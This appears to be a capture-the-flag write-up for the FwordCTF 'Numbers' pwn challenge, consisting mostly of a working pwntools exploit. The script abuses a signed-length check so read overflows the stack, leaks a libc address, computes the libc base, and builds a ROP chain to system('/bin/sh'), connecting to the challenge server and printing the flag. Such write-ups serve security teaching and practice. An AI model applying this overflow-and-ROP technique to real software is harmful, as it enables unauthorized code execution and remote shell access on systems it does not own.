Numbers
read(0,local_10,8);
iVar1 = atoi(local_10);00 00 00 00 de ad be ef41 41 41 41 de ad be effrom pwn import * e = ELF("./numbers") context.arch = 'amd64' p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237) libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6") def getoutput(data,cont=True): p.recvuntil(b"??\n") # We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow p.send("-1\x00") p.recvline() # Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style p.send(data) if not cont: return p.recvuntil(data) ans = p.recvline() p.recvuntil(b"?\n") p.send('\n') return ans[:-1] num = 0x40 libcleak = getoutput(b'A'*8).ljust(8,b'\x00') libcleak = u64(libcleak) log.info(f"Libc leak: {hex(libcleak)}") libcbase = libcleak - 16 - libc.symbols['atoi'] log.info(f"Libc base: {hex(libcbase)}") libc.address = libcbase padding = b'A'*0x48 rop = ROP(libc) poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0] retgadget = (rop.find_gadget(['ret']))[0] chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system']) getoutput(padding + chain,False) p.interactive()
Flag: FwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}
Last updated
Was this helpful?